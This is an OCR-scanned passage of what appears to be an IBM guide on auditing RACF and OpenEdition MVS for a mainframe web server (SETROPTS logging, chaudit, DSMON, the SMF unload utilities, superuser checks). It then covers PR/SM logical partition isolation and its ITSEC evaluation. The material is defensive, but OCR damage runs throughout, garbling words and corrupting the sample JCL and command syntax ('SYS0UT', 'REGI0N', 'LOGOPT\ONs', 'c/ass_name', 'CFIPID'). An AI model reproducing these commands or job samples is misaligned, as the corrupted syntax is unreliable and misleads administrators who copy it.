- Changes to the status of the RACF database 

- Issuances of a SETROPTS command 

RACF optionally logs information about additional security-related events. 

For example, RACF can log information about access attempts to protected 
resources, such as files or MVS data sets (all, failures only, successes only). 
Audit information can be controlled, for example, for FIFS files by the file 
owner or by the security auditor. 

• The RACF database itself. User attributes, such as SPECIAL or superuser, 
are stored in the user profiles in the RACF database. 

• The file security packet (FSP) is part of the FIFS file or directory. The FSP 
contains the following: 

- The file owner 

- The permission bits 

- The audit options set by the file owner or by the auditor 

• Web server logs. The Web server provides the following log facilities: 

- AccessLog that is used to log all requests made by the client 

- CacheAccessLog that is used to log requests to the cache if your server 
is running as a caching proxy 

- ErrorLog that is used to log internal errors, such as access errors 

There are only a few options to control these Web server logs. By using 
directives you can do the following: 

- Suppress log entries for specific hosts or domains matching a template. 

- Indicate if the records entries should use the local time or Greenwich 
Mean Time (GMT). 


9.2 Auditing an OpenEdition MVS Environment 

The task of an auditor basically consists of verifying that the principles set forth 
in an installation's security policy are not compromised. In an OpenEdition 
environment which uses RACF as its access control program, there are two main 
tasks to perform, as follows: 

• Verifying that the RACF profiles have the proper contents (OMVS segments 
in the user and group profile and logging options in particular) 

• Use the security logs to follow up on detected violations and to detect 
abnormal behavior by authorized users 

The audit information can be quite extensive and is found in the RACF database, 
the RACF security log, and in the logs produced by applications that use RACF 
services. 
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The problem facing an auditor is mostly that of being able to reduce the amount 
of information to something that can be easily analyzed, and, perhaps more 
importantly to be able to find the needles in some very large haystacks. 

The following are the tools available to do auditing: 

• The normal RACF commands 

• The data security monitor 

• The RACF database unload utility 

By loading the sequential output file from the utility into a relational 
database, such as IBM DATABASE 2 (DB2), an auditor can perform ad hoc 
queries on the RACF database, without the risk of impairing system 
performance. 

• The RACF SMF data unload utility 

This utility converts RACF SMF records into a sequential data set (flat file). 
This data set can be sorted and records selected based on various selection 
criteria. The unloaded SMF records can also be loaded into a relational 
database and be processed with suitable query languages. 

Figure 35 depicts the RACF auditing environment. 



Figure 35. RACF Auditing Environment 

There is a slight problem connected with the use of relational databases: users 
have to be taught the Structured Query Language (SQL), the Query Management 
Facility (QMF), or some other query language if they want to be able to perform 
their own ad hoc queries. The alternative is for someone to build an application 
with a set of predefined reports that can easily be adapted to fit the individual 
installation. 

For more information on auditing, refer to Enhanced Auditing Using the RACF 
SMF Data Unload Utility. This document describes a number of RACF auditing 
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tools that are based on the RACF SMF data unload utility and on the RACF 
database unload utility. The primary audience is RACF security auditors. 


9.2.1 Auditing OpenEdition MVS Events 

The security auditor uses reports formatted from RACF system management 
facilities (SMF) records to check successful and falling accesses to OpenEdition 
MVS resources. An RACF SMF record can be written at each point where RACF 
Is asked to make a security decision. 

RACF provides six classes that are used to control auditing of the OpenEdition 
security events. These classes have no profiles and they do not have to be 
activated to control auditing. You should use the SETROPTS command to specify 
the auditing options for the classes. 

The following new classes are defined: 

• DIRSRCH 

• DIRACC 

• FSOBJ 

• FSSEC 

• PROCAT 

• PROCESS 

Note: These classes are for audit purposes only. 


DIRSRCH 

DIRACC 

FSOBJ 

FSSEC 

PROCESS 

PROCAT 


Controls auditing of directory searches. 

Controls auditing for access checks for read/write access to 
directories. 

Controls auditing for all access checks for files and directories. 

Controls auditing for changes to the security data (FSP) for file system 
objects. 

Controls auditing of changes to the UIDs and GIDs of processes. 

Controls auditing of functions that look at data from other processes 
or affect other processes. 


Auditing can be controlled by using the commands SETROPTS LOGOPTIONS and 
SETROPTS AUDIT. 


LOGOPT\ONs(auditing_level{class_name)) audits access attempts to the 

resources In the specified class according to the auditing-level specified. 

Auditing-level specifies the access attempts to be logged for the class_name. 

These options are processed in the order listed below. 

ALWAYS All access attempts to resources protected by the class are 
audited. 

NEVER No access attempts to resources protected by the class are 
audited. (All auditing is suppressed.) 

SUCCESSES All successful access attempts to resources protected by the class 
are audited. 
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FAILURES All failed access attempts to resources protected by the class are 
audited. 

DEFAULT Auditing is controlled by the profile protecting the resource, if a 
profile exists. 

For example, an Installation can specify: 

SETROPTS LOGOPTIONS(ALWAYS(DIRSRCH,DIRACC)) 

AUDIT(c/ass_name) specifies the names of the classes to which you want RACF 
to perform auditing. For the classes you specify, RACF logs all uses of the 
RACROUTE REQUEST=DEFINE SVC and all changes made to profiles by RACF 
commands. You can use the AUDIT option to control auditing for the FSOBJ and 
the PROCESS classes. 

For example, an Installation can specify: 

SETROPTS AUDIT(FSOBJ,PROCESS) 

The following are events for which audit records are always written: 

• When a user not defined as an OpenEdItlon user tries to dub a process 

• When a user who Is not a superuser tries to mount or unmount the file 
system 

• When a user tries to change a home directory 

• When a user tries to remove a file, hard link, or directory 

• When a user tries to rename a file, hard link, symilnk, or directory 

• When a user tries to create a hard link 

There Is no option to turn off these audit records. 

Notes: 

1. Actions by superusers can be audited, except when the superuser also has 
RACF privileged authority. 

2. Actions by RACF privileged authority users are not audited. 


9.2.2 Audit Options for Fiie and Directory Leveis 

An installation can also specify auditing at the file level in the file system. This 
can be activated by doing the following: 

• Specifying: SETROPTS LOGOPTIONS(DEFAULT(DIRSRCH,DIRACC,FSOBJ)) 

• Using the OpenEdItion shell command chaudit to specify the audit options for 
individual files and directories 

The following audit options for file and directory levels are stored Inside the FIFS 
along with the file permission bits: 

• Don't_audlt 

• Audlt_access_allowed 

• Audlt_access_falled 

• Audlt_all_access 

The command can be used to specify either user audit options or auditor audit 
options. To specify user audit options, you must be a superuser or the owner of 
the file. To specify auditor options, you must have RACF AUDITOR authority. If 


Chapter 9. Auditing Your Internet Connection Server for MVS/ESA 113 



both user and auditor options are set, RACF merges the options and audits aii 
the set options. The format of the sheii command is: 

chaudit options attr pathname 


In options, you can specify the type of resource, for exampie: 

-F Audit characteristics of ali fiies in the directery that is specified in the 
pathname are changed. Sub-directory audit characteristics are net 
changed. 

-d Audit characteristics of ali sub-directories in the directory that is specified 
in the pathname are changed. Fiie audit characteristics are not changed. 

-a Auditor-requested audit attributes are to be changed for the fiies or 
directories that are specified in the pathname. If -a is net specified, 
user-requested audit attributes are changed. 

-i Does not issue error messages cencerning fiie access authority, even if 
chaudit enceunters such errors. 

The attr field has the following format: 
operation op auditcondition 

• The operation value is any combination of the follewing: 

r Audit read attempts 

w Audit write attempts 

X Audit execute attempts 

• You can also specify an op part that will act as an operator. The following 
are the possible values: 

+ Turns on specified audit conditions 

Turns off specified audit conditions 

= Turns on the specified audit conditions and turns off all others 

• The audit condition is any combination of the following: 

s Audit on successful access if the audit attribute is on 

f Audit on failed access if the audit attribute is on 

An installation can specify multiple symbolic attr values if they separate them 
with commas. 

To change the audit attributes for filel so that all successful and unsuccessful 
file accesses are audited, enter: 

chaudit rwx=sf filel 

To change the audit attributes for fileS so that unsuccessful file read accesses 
are not audited but successful write accesses are audited, enter: 

chaudit r-f,w+s fileS 
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9.3 The Status of Your RACF Security Environment 

DSMON is the program that produces reports of the security environment status 
at your instailation, and the status of resources that RACF controis. You can run 
DSMON whiie RACF is active. 

To run DSMON, you must have the one of the foilowing: 

• The AUDITOR attribute 

• EXECUTE access authority to the PROGRAM profiie protecting DSMON if it is 
a controiied program 

Note: READ access might be needed if DSMON runs in a TSO environment. 

A sampie JCL to invoke DSMON is shown beiow: 

//DSMON JOB (999,P0K)/R0BBY MOABr,NOTIFY=&SYSUID, 

// CLASS=A,MSGCLASS=T,TIME=1439, 

// REGI0N=5000K,MSGLEVEL=(1,1) 

//SI EXEC PGM=ICHDSM00 

//SYSPRINT DD SYS0UT=* 

//SYSUT2 DD SYS0UT=*,DCB=(RECFM=FB,LRECL=133,BLKSIZE=3990) 

//SYSIN DD * 

FUNCTION RACSPT 

/* 

SYSPRINT Defines the sequentiai data set for status and error messages. 

SYSPRiNT has a variabie biock format. Biock size must be 137 or 
greater (if specified). 

SYSUT2 Defines the output listing data set for the printed report that is 

generated DSMON. SYSUT2 has a fix biock format and biock size 
must be a muitipie of 133. 

SYSIN Defines the DSMON controi statements. If you do not speoify SYSIN, 

all DSMON functions will be performed except USRDSN. 

Note: DSMON runs as an Authorized Program Faoility (APF) batch program. 
DSMON can also be run on TSO if SYS1 .PARMLIB(IKJTSOxx) is configured 
correctly. 

Figure 36 provides a sample output of the RACF started procedures table report. 
If the STARTED class is active, two reports are generated. Along with the report 
generated for the installation replaceable load module, ICFIRIN03, a second 
report is created using the STARTED class profiles. 

ICH66003I ICHDSMOO ENDED ON 02/29/96 AT 15:00:54 - RETURN CODE = 0 

RACE DATA SECURITY MONITOR 

RACF STARTED PROCEDURES TABLE REPORT 
FROM PROFILES IN THE STARTED CLASS: 


PROFILE 

ASSOCIATED 

ASSOCIATED 




NAME 

USER 

GROUP 

PRIVILEGED 

TRUSTED 

TRACE 

IMWEBSRV.* (G) 

WEBSRV 

IMWEB 

NO 

NO 

NO 

OMVS.* (G) 

OMVSKERN 

OMVSGRP 

NO 

YES 

NO 


Figure 36. Sample Output Report from DSMON 
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The started procedure table report lists each entry In the started procedure 
table. Each entry contains the procedure name, user identification, the group 
name associated with the procedure, the privileged status and the trusted status. 
If the STARTED class Is active, the report also shows the job name associated 
with the procedure. 

You can use the started procedure table report to determine which started 
procedures are defined to RACE and which RACE user IDs and group IDs they 
will use. RACE user IDs associated with the started procedure can access 
RACF-protected resources. Therefore, you can check the information in the 
RACE started procedure table to determine which users and groups are 
associated with the started procedures that RACE recognizes, and determine 
whether those users are privileged or trusted. 

You can also use the report to determine which started procedures are 
privileged or trusted. If the started procedure has the PRIVILEGED attribute. It 
can bypass all RACROUTE REQUEST=AUTEI processing, including the security 
classification checks, and therefore affect the overall security of the system. 
TRUSTED means the same as PRIVILEGED, except that auditing can be 
requested by using the SETROPTS LOGOPTIONS command. 

The following are other reports you might be interested in: 

• Selected user attribute report 

This report lists all RACE users with the SPECIAL, OPERATIONS, AUDITOR, 
or REVOKE attribute and Indicates whether a user possesses the attribute on 
a system (user) or group level. You should use this report to verify that only 
those users who need to be authorized to perform certain functions have 
been assigned the corresponding attribute. 

Note: This report does not list the users that have the superuser authority 
or can inherit the superuser authority. It also does not list the users that can 
gain superuser authority since they are authorized by a profile in the facility 
class. Refer to 9.4.1, “List the Users with Superuser Authority” on page 117 
for ways on how to audit your superusers. 

• Selected data set reports 

This report lists all the data sets, including the RACE database or databases, 
that meet one or more of the selection criteria that DSMON uses. Eor each 
selected data set, the report specifies the serial number of the volume on 
which the data set resides, the selection criterion, whether the data set Is 
RACE-IndIcated or RACE protected, and the universal access authority 
(UACC) for the data set. 

You can use this report to verify that load libraries that contain the Web 
server daemon and the OpenEditlon MVS kernel modules are still protected 
as you expect them to be. 

Note: This report does not list HES files. You need to use the OpenEditlon 
MVS command to list the permissions and audit bits for these files. 
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9.4 Reporting Security Events 

RACF audit data is a record of an instaiiation's security-reiated events. This 
data is used to verify the effectiveness of an instaliation's security poiicy, 
determine whether the instaiiation's security objectives are being met, and 
identify unexpected security-reiated events. 

The RACF SMF data unioad utiiity (iRRADUOO) is the recommended utiiity for 
processing RACF audit records. By ioading the sequentiai output file from the 
utility into a relational database, such as IBM DATABASE 2 (DB2) or its 
equivalent, you could perform ad hoc queries, without the risk of impairing 
system performance. 

The flat file can also be viewed directly or can be used as input for sort/merge 
utilities. Refer to Appendix C, “Sample Auditing Jobs” on page 157 for a 
sample job that uses DFSORT to select specific records and print selected fields 
from these security records. 

The RACF SMF data unload utility (IRRADUOO) processes the following types of 
SMF records: 

Type 30 Job initiation. Subtype 1 (job initiation) and subtype 5 (job 
termination) 

Type 80 Resource access 

Type 81 RACF initialization 

Type 83 Data sets affected by a SECLABEL change 

The RACF SMF data unload utility uses SMF dump utility (IFASMFDP) to control 
its invocation. The RACF SMF data unload utility is invoked as 
USER2(IRRADU00) and USER3(IRRADU86) exits to IFASMFDP. IRRADUOO and 
IRRADU86 are the RACF SMF data unload utility. 

A sample JCL to execute the RACF SMF data unload utility is depicted in 
Appendix C, “Sample Auditing Jobs.” 

To process the output report of the SMF data unload utility, you can use 
DFSORT. DFSORT includes a simple reporting mechanism called ICETOOL, 
which provides record selection and reporting capabilities. 

A sample JCL and the control statements required to find all successful 
accesses to FIFS files is depicted in Appendix C, “Sample Auditing Jobs.” 

9.4.1 List the Users with Superuser Authority 

The RACF data security monitor has a facility that enables you to list all RACF 
users with privileged attributes. The selected user attribute report lists all RACF 
users with the SPECIAL, OPERATIONS, AUDITOR, or REVOKE attribute. It 
indicates whether a user possesses the attribute on a system (user) or group 
level. 

You can use the selected user attribute report to verify that only those users who 
need to be authorized to perform certain functions have been assigned the 
corresponding attribute. 
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Superusers or users that can become superusers are not listed in this report. In 
order to know which users have the superusers authority or to know which users 
can become superusers, you need to use two different tools: 

• RACF commands to list user profiles and profiles in the FACILITY class 

In the OMVS segment of the user profile, you should specify the UID for this 
user. By specifying UID(O), you indicate that this user has the superuser 
authority. You should use the LISTUSER command with the optional 
parameter OMVS to display the OMVS segment. 

LU WEBSRV OMVS 

USER=WEBSRV NAME=UNKNOWN 0WNER=WELLIE3 CREATED=96.043 
DEFAULT-GROUP=IMWEB PASSDATE=00.000 PASS-INTERVAL=254 
ATTRIBUTES=NONE 

note that the complete output of this 
command is not shown in this example 

OMVS INFORMATION 


UID= 0000000000 
H0ME= /usr/lpp/internet 
PR0GRAM= /bin/sh 

Profiles in the FACILITY class can control which users can become 
superuser. Users with READ access to the profile BPX.SUPERUSER can 
make themselves superuser. You should use the RLIST command with the 
optional parameter ALL to list who has what type of access to this profile. 

RLIST FACILITY BPX.SUPERUSER ALL 
CLASS NAME 


FACILITY BPX.SUPERUSER 

LEVEL OWNER UNIVERSAL ACCESS YOUR ACCESS WARNING 


00 WELLIE2 NONE NONE NO 

note that the complete output of this 
command is not shown in this example 


USER 

ACCESS 

ACCESS COUNT 

FRED 

READ 

000000 


• The RACF database unload utility 

Since you don't know which users have the superuser authority, you have to 
list all users in the RACF database to verify if they have this privilege. A 
better way of doing is to use the RACF database unload utility. 

The RACF database unload utility enables you to create a sequential file 
from the RACF database. The sequential file can be used in several ways: 

- Viewed directly 

- Used as input for sort/merge utilities 
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- Uploaded to a database manager, such as DB2, to process complex 
inquiries and create instaiiation taiiored reports 

Refer to C.3, “List the Superusers” on page 163 for a sampie job that uses the 
RACF database unioad utility to list aii the users in the RACF database that have 
the superuser authority specified in their user profiie. 


9.5 Internet Connection Server for MVS/ESA Logs 

The Internet Connection Server for MVS/ESA can log all the incoming requests 
to an access iog fiie. it aiso has an error iog where internai server errors are 
logged. All log files are generated using the common log file format that several 
Web servers use. This provides the possibiiity of using some of the generic 
statistics programs to analyze the log file content. 

C.4, “Web Server Logs” on page 167 provides a comprehensive overview of the 
security-reiated Web server iogs. It also provides a description of a REXX exec 
that can be used to select and print specific records from these iogs. 
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Chapter 10. Where Should You Run Your Internet Connection Server 
for MVS/ESA? 


One of the decisions you must make is on what type of ES/9000 or System/390 
mainframe you shouid run your Internet Connection Server for MVS/ESA. 
Basicaily, you have the foiiowing options: 

1. A dedicated OS/390 system running in a secured and isoiated iogicai 
partition with no shared data or shared DASD 

2. A dedicated OS/390 system running in a secured iogicai partition that is 
sharing data and some DASD with some of your other OS/390 or MVS/ESA 
systems 

3. An existing OS/390 environment 

This decision is based on the foliowing issues. 

• What type of data do you iike to make avaiiabie to the users of your Internet 
Connection Server for MVS/ESA 

• How much trust do you put into your security environment 
The question has different aspects. For exampie, 

- What is the ievei of security awareness and skiil of your personnei who 
are maintaining and operating your OS/390 system? 

- What type of security is supported in your current version of the Internet 
Connection Server for MVS/ESA? Refer aiso to Chapter 11, “Future 
Security for Your Internet Connection Server for MVS/ESA” on page 137 
for an overview of what might become avaiiabie. 

We recommend you use an impiementation path that starts with option 1, a 
dedicated OS/390 system running on a secured and isoiated iogicai partition. As 
more security faciiities become avaiiabie and as your staff progresses in getting 
the specific security skili in this UNIX type of environment, you might consider 
starting to share data and DASD between your dedicated iogicai partition and, 
perhaps, your production environment. Your ultimate goai might even be to 
have your Internet Connection Server for MVS/ESA running on your OS/390 
production machine or on a member of your Paraiiei Syspiex. 


10.1 Logical Partition Highlights 

Logicai partitions can have the foiiowing characteristics: 

• The maximum number of iogicai partitions you can define depends on the 
processor compiex modei. 

• Logicai partitions can operate in S/370, ESA/370, ESA/390, ESA/TPF, or 
coupiing faciiity mode. 

• Logicai partitions operate independentiy, except when they have to share I/O 
devices 

• The storage for each iogicai partition is isoiated. Centrai storage and 
expanded storage cannot be shared by iogicai partitions. 

• On processor compiex modeis with dynamic storage reconfiguration, a 
iogicai partition can reiease storage or attach storage to its configuration 
that is reieased by another iogicai partition. 
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• All channel paths (except CFR channel paths) can be defined as 
reconfigurable. Channel paths are assigned to iogicai partitions. You can 
move reconfigurabie channei paths between iogicai partitions by commands 
from the system consoie. if the controi program running in the iogicai 
partition supports physicai channei path reconfiguration, channei paths can 
be moved among iogicai partitions by controi program commands without 
disruption to the activity of the controi program. A channei path cannot be 
shared by two iogicai partitions at the same time on processor compiexes 
that do not support EMiF. 

• On EMIF-capabie processors, channei paths can be shared by two or more 
iogicai partitions at the same time. Oniy CTC, CNC, and CFS channei paths 
can be shared. 

• Logicai partitions can be defined to have as many CPs as are instailed (SI or 
PP). The processors can be dedicated to iogicai partitions or shared by 
them. Processors dedicated to a iogicai partition are not avaiiabie to 
perform work for other active iogicai partitions. The resources of shared 
processors are aiiocated to active iogicai partitions as needed, and 
processor resources can be capped (iimited) if required. 

A mix of shared and dedicated iogicai processors cannot be defined for a 
singie iogicai partition. The processors for a iogicai partition are either aii 
dedicated or aii shared. However, a mix of iogicai partitions with shared 
processors and iogicai partitions with dedicated processors can be defined 
and activated concurrentiy. 

10.1.1 PR/SM Functional Characteristics 

The S/390 MVS systems are generai purpose data processing systems. These 
systems can be initiaiized in one of two operating modes: basic mode or LPAR 
mode. Processor Resource/System Manager (PR/SM) provides the capability 
that enabies the S/390 system to be initialized in LPAR mode. 

PR/SM is a hardware faciiity that enabies the resources of a singie physicai 
machine to be divided between distinct, predefined iogicai machines, cailed 
“iogicai partitions.” Each iogicai partition is a domain of execution and is 
considered to be an object capabie of running a conventionai System Controi 
Program (SCP), such as OS/390, MVS/ESA, MVS/SP version 1.3.5 and higher, or 
VM/ESA. These SCPs run in a PR/SM partition with no change being required 
from their versions that run directiy on base hardware. 

Licensed Internai Code (LIC) is microcode that is iicensed by iBM. The 
separation and ailocation of resources is performed by a portion of LIC called 
“LPAR.” The LPAR LIC resides and executes in an area of centrai storage that 
is inaccessibie to programs resident in iogicai partitions. LPAR LIC is ioaded 
during machine initiaiization. 

Thus, iooseiy speaking, PR/SM is the functionaiity, and LPAR is the LIC that 
supports that functionality. PR/SM provides a means by which the reai 
resources of a computing system can be aiiocated to disjoint, 
non-communicating iogicai partitions. 

Logicai partitions are defined, and the I/O resources of the overall physical 
computing system are pre-aiiocated by, for exampie, the system security 
administrator. I/O allocation is an integrai part of the process of defining a totai 
system configuration, and must be compieteiy performed before that system 
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configuration can be initialized. This pre-allocation is done by executing the 
Input/Output Configuration Program (lOCP) to build a hardware-specific data set, 
called an Input/Output Configuration Data Set (lOCDS), of the I/O resources and 
their allocations to specific logical partitions. 

LPAR allocates an entire resource, such as an I/O channel path or a contiguous 
region of storage. At no time is any real resource allocated to more than one 
logical partition. Each complete I/O resource allocation is called a 
“configuration." During the period between processor initializations, several 
lOCDS configurations can be stored, but only one Is In effect at any time. The 
configuration becomes effective as part of the power-on reset sequence. In 
order to change the active configuration It Is necessary to perform a power-on 
reset of the hardware. 

The preceding paragraph deliberately omits any discussion of Dynamic I/O 
Configuration, Reconfigurable channel paths (CHPIDs), or I/O resource sharing 
using ESCON Multiple Image Facility (EMIF), because each of them has 
characteristics that, if inappropriately used, can compromise the secure 
consolidation capability of PR/SM. Cautions and requirements relating to their 
use are included throughout this document. 

The remainder of the logical partition's resources are defined by the operator or 
administrator prior to the activation of the logical partition. These resources 
include storage size, number of logical processors, scheduling parameters, and 
security controls, which can be specified by the operator or administrator using 
the LPDEF, LPCTL, and LPSEC display frames on the hardware system console 
(HSC). 

Many of the definitions controlled by the LPCTL and LPSEC frames can be 
changed at any time and will take effect dynamically with few exceptions (for 
example, LPCTL to specify dedicated processors for a partition will only take 
effect if the partition is not yet activated). The LPDEF definitions take effect at 
logical partition activation, and generally are static while the partition they 
pertain to Is active. 

When a resource Is allocated to a logical partition, It Is set to Its 
architecturally-defined reset state. Channel paths are reset, and main and 
expanded storage is set to zero. 


10.2 Logical Partition Security Characteristics 

To improve the security of your logical partition, the following security facilities 
are available: 

• Reserve configurable channel paths for the exclusive use of a logical 
partition (unless overridden by the operator) 

• Limit the authority of a logical partition to read or write any lOCDS in the 
configuration 

• Limit the authority of a logical partition to retrieve CPU utilization values for 
all partitions in the configuration 

• Limit the authority of a logical partition to change the I/O configuration 
dynamically 

• Limit the authority of a logical partition to issue certain control program 
instructions that affect other logical partitions 
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10.2.1 Logical Partition Isolation 

This control reserves reconfigurable unshared channel paths for the exclusive 
use of a logical partition. Channel paths assigned to an isolated logical partition 
are not available to other logical partitions and remain reserved for that logical 
partition when they are de-configured (configured offline). 

The only way to release an unshared channel path from an isolated logical 
partition is by using the RELEASE parameter of the CHPID service language 
command. 

On EMIF-capable processors, access to channel paths can be controlled through 
the channel path candidate list. Access to I/O devices on a shared channel path 
can be further controlled through the I/O device candidate list. 

10.2.2 I/O Configuration Controi Authority 

This control can limit the ability of the logical partition to read or write any 
lOCDS in the configuration locally or remotely. Logical partitions with control 
authority for the I/O configuration data can read and write any lOCDS in the 
configuration, and can change the I/O configuration dynamically. 

For lOCDSs created using lOP lOCP, all logical partitions can read the active 
lOCDS, but the read active returns only the information for the logical partition 
from which the read active was done. The read active function is not supported 
on lOCDSs created by IXP and IZP versions of lOCP. 

10.2.3 Global Performance Data Control Authority 

This control limits the ability of a logical partition to view CPU activity data for 
other logical partitions. Logical partitions with control authority for global 
performance data can view CPU utilization data and Input/Output Processor 
(lOP) busy data for all of the logical partitions in the configuration. 

A logical partition without control authority for the performance data can view 
only the CPU utilization data for that logical partition. 

10.2.4 Cross-Partition Controi Authority 

This control can limit the capability of the logical partition to issue certain control 
program instructions that affect other logical partitions. Logical partitions with 
cross-partition control authority can issue instructions to perform a system reset 
of another logical partition, deactivate any other logical partition, and provide 
support for the automatic reconfiguration facility. 

The automatic reconfiguration facility permits a backup logical partition to 
deactivate a primary logical partition if a problem is detected in the primary 
logical partition. The backup logical partition can then configure online, storage 
resources that become available when the primary logical partition is 
deactivated. 
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10.3 PR/SM on ES/9000 Achieves E4 


On June 26, 1995 the Certification Body (CB) of the UK IT Security Evaiuation and 
Certification Scheme, having considered the findings of the Evaiuation Report 
prepared by the Commerciai Licensed Evaiuation Faciiity of Secure Information 
Systems Limited, agreed that PR/SM on IBM ES/9000 processors meets the 
requirements of ITSEC E4, and accordingiy, stated an intention to issue a 
certificate to that effect. 

IBM claims that the product meets E4 criteria, and customers using the product 
can be assured that PR/SM's security features have been exhaustively 
evaluated. 

Note: In 1991, after having developed their own, individual security criteria, the 
governments of France, Germany, The Netherlands, and the United Kingdom 
joined together and created harmonized security criteria that are recognized 
throughout Europe and in Canada. The criteria are called the Information 
Technology Security Evaluation Criteria (ITSEC). The ITSEC evaluations are 
performed by private. Commercially Licensed Evaluation Facilities (CLEFs), 
licensed by a government certification body in one of the four participating 
countries. 


10.4 Setting Up a Trusted Configuration 

This topic discusses some of the actions the security administrator must take to 
ensure that the system is configured for a secure mode of operation. For a 
detailed description of the various controls, refer to the appropriate manuals that 
are shipped with the systems. Examples of these manuals are: 

• ESA/9000 PR/SM: Planning for Security for 9021 Til-based Models and 9121 
511-based Models 

• ES/9000 9021 711-Based Models Operator's Guide 

• ES/9000 9121 511-Based Models Operator's Guide 

• ES/9000 and ES/3090 PR/SM Planning Guide 

• ES/9000 Input/Output Configuration Program User's Guide and ESCON 
Channel-to-Channel Reference 

• MVS/ESA Hardware Configuration Definition: Planning MVS/ESA System 
Product: JES2 Version 5 and JES3 Version 5 

• Introducing Enterprise Systems Connection 

• Enterprise Systems Connection: Planning for Migration 

• MVS/ESA Planning: Operations 

10.4.1 Secure PR/SM Characteristics 

The following list addresses the issues that should be considered if you are 
planning to establish a secure logical partition: 

• There is a single hardware system console (HSC) from which the system can 
be operated. Therefore, the administrator and the operator of the system 
must be cleared for the highest security classification of work being 
performed on the system. Hardware-related operations for each logical 
partition are conducted from this single HSC. The SETLP service language 
command is used to connect the logical partition of choice. 

• The HSC does not support identification and authentication. That means that 
you do not need a login user ID and password to access this console. 
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• The LOCKLP command is recommended. Requiring the use of the UNLOCKLP 
command before executing some other command against a iogicai partition 
may prevent inadvertentiy directing a command to the wrong iogicai 
partition. 

• The consoie iog records system operator actions and the system responses, 
in chronoiogicai order, and acts as an audit log. The console log records do 
not contain a user (administrator or operator) identifier. The console log, 
when full, will wrap. This means that the oldest entry in the console log will 
be overwritten, and then the next oldest, and so forth. The console log has a 
fixed size of 4000 records. Some log entries require multiple records. 

• The only access provided to the console log is through the console's VIEW 
LOG key, the LOGFRAME service language command, which appends the 
currently displayed frame to the console log, and the PCDDMP frame which 
creates a copy of the console log on a removable medium. Access to the 
console log from a logical partition, or from the processor complex executing 
in basic mode, is impossible (this capability does not exist). 

10.4.2 Central and Expanded Storage 

PR/SM has a mechanism that detects conditions where sharing of central or 
expanded storage was defined (in other words, where address ranges overlap) 
and rejects such requests. PR/SM licensed internal code (LIC) and hardware 
rigidly enforces the no-sharing rule at logical partition definition, during logical 
partition activation, during logical partition reconfiguration, and during logical 
partition execution. PR/SM monitors each instruction's storage accesses for 
validity; accesses outside the logical partition's defined storage are not 
permitted. 

Only storage increments within the logical partitions storage allocation, as 
defined by LPDEF frame input, can be placed offline. Storage is varied offline 
and online by using the MVS CONFIG operator command. While processing this 
command, MVS interacts with PR/SM, through a service call instruction, to 
request that the storage be varied. Because storage cannot be varied without 
PR/SM involvement, no way exists to circumvent the validity checking PR/SM 
does to confine a partition occupant within the storage limits defined for the 
logical partition. 

10.4.3 I/O Security Considerations 

The PR/SM Planning Guide contains a very thorough discussion of I/O 
configuration related topics. It should be read in its entirety before reading the 
following security considerations. 

When the lOCDS does not specify any sharing, I/O devices are owned solely by 
the logical partitions that own the channel paths that are attached to them. Even 
if a channel path has been designated as reconfigurable, that channel path 
cannot be removed from a logical partition unless the channel path has first 
been taken offline from within that logical partition. 

For MVS partitions this is done with an MVS CONFIG operator command. For 
partitions containing other system control programs (SCPs), a CFIPID service 
language command (SLC) with the OFF parameter specified is entered at the 
hardware system console. For isolated partitions, it requires use of the CFIPID 
SLC with both the OFF and the RELEASE keyword specified. Requiring as many 
as four specifically directed actions to move a reconfigurable CFIPID from one 
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isolated MVS partition to another assures that this will not be done accidentally. 
The CHPID commands are recorded in the console log. 

I/O sharing and dynamic I/O configuration is available in the PR/SM facility, but 
it is anticipated that this will rarely be used in a secure logical partition 
installation. If the lOCDS specifies I/O sharing, it will be indicated in the 
Input/Output Configuration Program's configuration reports. 

Although an EMIF path is defined to be shared, none of the devices that are 
connected to it need to be shared among logical partitions. When devices are 
assigned to a single logical partition, they cannot be accessed by any other 
logical partition. In some security environments, where there is a concern about 
a shared resource facilitating some form of convert signalling, these 
considerations may require prohibiting any sharing of EMiF channeis paths 
between logical partitions. However, if this is not perceived to be a significant 
threat, we recommend that each specific use of shared EMIF channels be 
carefully analyzed for its possible effect on the installation's security policy. 

Low-speed devices (such as MVS operator's consoles) are especially inviting 
targets for sharing a single channel path using EMIF. The following paragraph 
discusses how to share the channel path, but none of the console devices. 

If you choose to share EMIF channels paths between logical partitions, and their 
access to specific devices attached to that channel path must be restricted, i/O 
device candidate lists are the means for restricting access to devices. The 
default, if no I/O device candidate list is specified, is that all partitions sharing 
the EMIF channel path, also share access to all shared devices. Such free 
access is incompatible with the concept of a secure consolidation platform that 
provides disjoint, non-communicating logical partitions, and is therefore not 
recommended. 

- Recommendation - 

We recommend that when sharing is specified for the CHPID, all the 
associated, attached I/O devices (lODEVICE statement) must have candidate 
lists specified. 


Following a rule of always specifying a device's partition explicitly prevents 
unexpected results from defaults being applied. For further details on the I/O 
device candidate list, refer to the discussion of the lODEVICE statement's 
PARTITION parameter in the lOCP User's Guide. 

EMIF sharing of channels is controlled by the SHARED parameter, and the 
partition names specified in the PARTITION and NOTPART parameter for each 
channel path definition (CHPID statement) in the lOCDS. If the PARTITION 
parameter specifies multiple partition names, it specifies that this particular 
CHPID is shared among the named partitions. If a NOTPART parameter is used, 
it implies the sharing characteristic. However, if a NOTPART parameter 
excludes all partition names but one, in both access and candidate lists, no 
sharing is permitted. Devices attached to a shared CHPID are restricted to the 
partitions included in the device candidate list (specified in the lODEVICE 
PARTITION parameter). If the lOCDS does not specify sharing, then no sharing 
of CHPIDs will take place. 
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10.4.4 Operational Considerations 

Global, system-wide centrol of dynamic I/O configuration is provided by the H 
option (I/O Definition) of the CONFIG frame. The LPSEC frame provides 
partition-level centrol of dynamic I/O configuration. Dynamic I/O configuration 
requests are biccked when CONTROL IOC=N is specified for a specific logical 
partition. 

The LPSEC frame also allows partitions to be designated as ISOLATED. For 
such logical partitions, an offline, reccnfigurable CHPID cannot be assigned to 
another logical partition unless a CHPID OFF with the RELEASE opticn Is issued by 
the administrator or operator from the hardware system console. The CHPID 
statement's candidate list can be used to limit the “mobility” of a reccnfigurable 
channel. The system will only accept CHPID ON commands for partitions In the 
candidate list of the target channel path. 

All channel path reconfiguration procedures should be specifically described in 
the secure installation's procedures. Any procedures not described must not be 
permitted. While developing these procedures, consideration must be given to 
the security Implications of defining a channel path (and Its attached devices) to 
be reccnfigurable. Specifically: 

• Which from-to pairs of logical partitions are valid? 

When this has been established, candidate lists are the means for 
implementing this aspect of the installation's security policy. 

• In the process ef reconfiguration, could data be passed from one logical 
partition to another through one ef the attached devices? 

